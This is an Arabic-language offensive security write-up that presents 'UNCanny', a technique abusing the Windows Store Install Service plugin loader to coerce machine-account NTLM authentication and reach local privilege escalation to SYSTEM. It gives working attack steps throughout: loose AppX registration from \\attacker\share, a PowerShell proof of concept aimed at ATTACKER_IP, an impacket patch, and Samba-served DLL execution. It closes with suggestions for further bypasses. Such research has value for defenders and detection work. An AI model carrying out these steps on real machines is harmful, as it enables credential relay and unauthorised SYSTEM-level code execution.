
طريقة إكراه جديدة أخرى مع LPE - إكراه NTLM لحساب الآلة من مستخدم غير مسؤول عبر تجارب تحليل مكون إضافي لخدمة تثبيت متجر ويندوز
الفكرة وراء هذا البحث كانت بسيطة، حيث أردت إيجاد تقنية إكراه خاصة بي. بدأت بالبحث عن أسطح هجوم جديدة لـ RPC، ولكن بعد أن أضافت مايكروسوفت مراقبة نشاط RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368)، قررت اتباع مسار مختلف.
UNCanny هي نتيجة ذلك الجحر العميق. إنها ليست شيئًا أعتبره موثوقًا لعمليات الفرق الحمراء الحقيقية بسبب قيودها، ولكن ما زلت أعتقد أن الملاحظات تستحق النشر لأي شخص يتعمق في نفس المجال.
باختصار هذه البدائية هي:
يقوم مستخدم عادي بتسليم خدمة تثبيت متجر ويندوز بعض بيانات التثبيت -> الخدمة، التي تعمل كـ local system، تقوم بحل "مكون إضافي" لذلك العمل -> يقوم الحل في النهاية بعمل
LoadLibraryWعلى مسار تأثر به المستخدم -> ذلك المسار هو UNC -> NTLM صادر كحساب الجهاز.
المكون هو عالم خدمة تثبيت متجر ويندوز: InstallService.dll المستضافة في InstallService.exe، والتي تعمل كـ NT AUTHORITY\SYSTEM.
بدأ جحر الأرنب مع InstallService.dll. كنت أبحث في مكونات ويندوز التي تقوم بتثبيت الحزم، واستعادة الحالة بعد إعادة التشغيل، واستئناف المهام الفاشلة، وقراءة المحتوى المحلي/البعيد، وتحميل المكونات الإضافية. أي شيء يجمع هذه الأشياء الأربعة معًا عادة ما يكون به بعض الالتباس حول الحدود:
فئة وقت التشغيل المثيرة للاهتمام كانت:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

معامل propertiesJson هذا هو مكان المتعة. يتم وصف سلوك التثبيت بواسطة حقول JSON مثل FulfillmentPluginId، SourceUri، PackageFamilyName، SerializedFulfillmentData، SkipCatalogLookup، ProductId، SkuId.
في البداية اعتقدت أن الخلل سيكون "وضع UNC في SourceUri وترك الخدمة تقرأه". كان ذلك سيكون جميلاً، لكن ويندوز لم يكن كريمًا إلى هذا الحد. لقد قمت بعكس مسار الإنجاز المدمج (CreateInstallServiceWorkFromBridge، InstallService.dll) والمكونات الإضافية المدمجة لا تفعل ذلك ببساطة:
WU تقوم بتحليل JSON وتخرج عبر WinHTTP / Delivery Optimization. أبداً SMB.ChainedWork و XVC هما نفس القصة أو غير موجودتين حتى على جهاز عميل.SourceUri الخام إما يتم رفضه بسرعة أو يتم توجيهه إلى التحقق من الكتالوج. CreateCatalogItemFromLocalData على الرغم من الاسم تقوم ببناء عنصر كتالوج من JSON المتسلسل في الذاكرة، ولا تذهب لفتح ملف.لذا الفكرة الساذجة هي طريق مسدود، هذه الميزة مثيرة جدًا للاهتمام وأقوم بأعمال بحثية أولية أخرى عليها أيضًا وهذا يستحق الذكر بصوت عالٍ حتى لا يضيع أحد أسبوعًا فيها :)
المكان الوحيد في تدفق الإنشاء/الاستعادة بأكمله حيث تلمس الخدمة مسارًا متأثرًا بالمهاجم هو تفعيل المكون الإضافي. الدالة هي PluginHelpers::ActivatePlugin. تقوم بحل FulfillmentPluginId بهذا الترتيب:
"WU" -> مدمج"ChainedWork" -> مدمجStaticPluginMap (HKLM) -> CoCreateInstance لـ CLSID، أو تفعيل فئة WinRT"XVC" -> مصنع إكس بوكسFindPackagesForUser(pfn) -> أخذ InstalledLocation.Path لتلك الحزمة -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")الفرع 5 هو المهم و PluginHelpers::IsPluginAvailable يؤكد البوابة: يرجع true لأي FulfillmentPluginId يطابق حزمة مثبتة، عبر نفس البحث FindPackagesForUser.

لذا إذا كان FulfillmentPluginId يشير إلى حزمة يكون InstalledLocation الخاص بها هو UNC، فإن InstallService.exe التي تعمل كـ SYSTEM تقوم بما يلي:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
يجب على LoadLibraryW الاتصال بـ \\attacker\share والمصادقة قبل أن يتمكن من معرفة أن الـ dll غير موجود، وهذه المصادقة هي الإكراه ولا يلزم أن يكون الـ dll موجودًا أبدًا.

السؤال الوحيد المتبقي هو "كيف يمكن لمستخدم عادي الحصول على حزمة يكون InstalledLocation الخاص بها هو UNC؟". الإجابة هي تسجيل الملفات السائبة، وهي عملية لكل مستخدم وغير مرتفعة:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
يقوم ويندوز بتسجيل الحزمة "في مكانها"، لذا فإن InstalledLocation المسجل هو حرفياً UNC الذي أشرت إليه. ثم تقوم بتشغيل العمل مع اسم عائلة تلك الحزمة كمعرف المكون الإضافي.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <PFN تلك الحزمة> )المتصل هو مستخدم عادي، مصادقة الشبكة هي حساب الجهاز.

مستخدم ذو صلاحيات منخفضة قام بتشغيلها، حساب الجهاز قام بالمصادقة. مُحمل ويندوز نفسه هو من قام بلمس UNC، وليس المتصل.

شيئان يجب ترتيبهما قبل التشغيل:
يبلغ impacket-smbserver عن نوع نظام الملفات XTFS. يرفض AppX التسجيل على مشاركات غير NTFS (0x80073CFD). قم بتصحيح حقل FileSystemName في impacket/smbserver.py إلى NTFS.
يجب أن تحتوي المشاركة على AppxManifest.xml و logo.png و dummy.exe. لا حاجة لـ InstallServicePlugin.dll. يجب أن يكون MaxVersionTested في البيان ≤ الإصدار المستهدف (تحقق باستخدام winver على الهدف).
يمكنك تشغيل poc/setup.sh من جذر المستودع على Kali. يقوم بملء المشاركة، وتصحيح impacket، وتجهيز poc.ps1 على الهدف عبر smbclient إذا تم تعيين TARGET_IP و TARGET_CREDS، ويبدأ الخادم ;-)
ثم على محطة عملك ويندوز كمستخدم ذو صلاحيات منخفضة من جلسة تفاعلية:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
هناك جانب ثانٍ لنفس الخلل أكثر مباشرة من الإكراه. إذا كان InstallServicePlugin.dll موجودًا بالفعل على مسار حزمة UNC، فإن الخدمة لا تزال تصل إلى نفس فرع LoadLibraryW(\\attacker\share\InstallServicePlugin.dll)، ولكن هذه المرة ينجح المُحمل ويتم تعيين الـ dll داخل عملية خدمة تثبيت المتجر كـ NT AUTHORITY\SYSTEM.
لذا تحمست لمحاولة إثبات هذه المشكلة وكتبت الإثبات في lpe/. الشيء المهم ليس خدعة تسجيل حزمة أخرى، إنه نفس الحزمة السائبة المسجلة التي يتم إعادة استخدامها كحزمة المكون الإضافي. يطلب الإطار اسم عائلة حزمة المستخدم ذو الصلاحيات المنخفضة باستخدام Get-AppxPackage، ويمرر ذلك PFN كـ FulfillmentPluginId، ويضبط SkipCatalogLookup=true، ويتضمن SerializedFulfillmentData. هذا الحقل الأخير مهم لأن InstallQueue2::CreateWork يرفض الطلب بـ 0x80070057 إذا تم تخطي البحث في الكتالوج بدون بيانات الإنجاز.
من المهم جدًا ملاحظة شيء استغرق وقتًا طويلاً في استكشاف الأخطاء وإصلاحها وهو أن impacket لا يمكنه تقديم صورة قابلة للتحميل. إنه يجيب على القراءات بشكل جيد بما يكفي لمصادقة حساب الجهاز، لذا فإن مسار الإكراه سعيد تمامًا، لكن LoadLibraryW ضد مشاركة impacket يعود بقيمة null مع ERROR_INVALID_HANDLE ولا يتم تشغيل DllMain أبدًا. قم بتقديم نفس الملفات تمامًا باستخدام خادم SMB حقيقي (Samba) ويتم التحميل بنجاح. يقوم Samba بالإبلاغ عن NTFS افتراضيًا لذا لا يزال التسجيل السائب يعمل. لذا القاعدة بسيطة: impacket عندما تريد فقط التجزئة، Samba عندما تريد أن يتم تنفيذ الـ dll فعليًا كـ SYSTEM!
في تشغيل حقيقي، تم تشغيله بواسطة المستخدم ذو الصلاحيات المنخفضة، يُظهر uncanny_lpe.txt الـ dll المعين في svchost.exe والرمز المميز يحل إلى NT AUTHORITY\SYSTEM / S-1-5-18، وهو لقطة الشاشة أدناه.

لا يزال CreateInstallServiceWork يعيد 0x800706BE مع هذا الـ dll التجريبي لأن DllMain قد تم تشغيله بالفعل بحلول الوقت الذي تطلب فيه الخدمة واجهة المكون الإضافي الحقيقية وتستسلم :-)

القيود هي في الواقع سبب قررت نشر هذه التقنية - يجب تمكين وضع المطور لتنفيذها. كل شيء يعتمد على أن InstalledLocation.Path هو مسار UNC، وبعد قضاء الكثير من الوقت في التنقيب فيه، وجدت طريقة واحدة فقط لتحقيق ذلك. التثبيت الموقّع العادي ينسخ الحزمة إلى C:\Program Files\WindowsApps\...، ويضبط InstalledLocation هناك، وهذا دائمًا مسار محلي.
مسار التسجيل الوحيد الذي وجدته والذي يبقي الملفات حيث هي بالفعل، بما في ذلك على مشاركة UNC، هو تسجيل الملفات السائبة (Add-AppxPackage -Register <manifest>). هذا بالضبط ما يفتحه وضع المطور (AllowDevelopmentWithoutDevLicense تحت HKLM\...\AppModelUnlock). والسبب في كونه مقيدًا منطقي. التسجيل السائب ينشئ أساسًا هوية حزمة موثوقة من ملفات غير موقعة عشوائية موجودة في موقع تتحكم فيه، مما يتجاوز تمامًا نموذج الثقة في المتجر والتوقيع العادي. وبسبب ذلك، يجب تمكين وضع المطور، وهذا حاليًا أكبر قيود التقنية.
الجزء المثير للاهتمام هو أن جانب InstallService لا يهتم حقًا، وبمجرد وجود مثل هذه الحزمة، فإن الفرع 5 من ActivatePlugin سيقوم بسعادة بعمل LoadLibraryW على أي InstalledLocation.Path يستقبله. المشكلة بأكملها هي الحصول على حزمة يشير موقع تثبيتها إلى مسار UNC في المقام الأول دون الحاجة إلى وضع المطور.
لذا، بدأت في عكس حواجز الحماية بحثًا عن طريق دخول آخر.
فحص وضع المطور لا يعيش داخل InstallService على الإطلاق. إنه موجود داخل كومة نشر AppX (AppXDeploymentServer.dll وسياسة ترخيص النشر) ويقرأ في النهاية HKLM\...\AppModelUnlock، والذي يتحكم فيه المسؤول. لا يوجد شيء يمكن للمستخدم العادي تغييره هناك.
كما تابعت ما بدا أنه تجاوز واضح مثل التحميل الجانبي
لقد اختبرته مع تمكين التحميل الجانبي وتعطيل وضع المطور (IsSideloadingEnabled=1، IsDeveloperModeEnabled=0). فشل التسجيل السائب على الفور واشتكى من أن أصل الحزمة كان Unsigned وأنه لا يمكن تطبيق ترخيص صالح أو سياسة تحميل جانبي.
لا تزال هناك بعض الطرق التي لم أستبعدها تمامًا بعد، يمكنك التنقيب إذا أردت:
StaticPluginMap مع اختطاف ترتيب بحث COM-ExternalLocation ومحتوى الحزمة الخارجيHKCU\...\CLSIDمن المحتمل أن تغطي Elastic هذا خلال يوم واحد.
- أنا لست مسؤولاً عن كيفية استخدام هذه المعلومات. يتم نشر هذا البحث للأغراض التعليمية في نهاية المطاف، وقد يساعد أيضًا في تحسين فهم سطح الهجوم.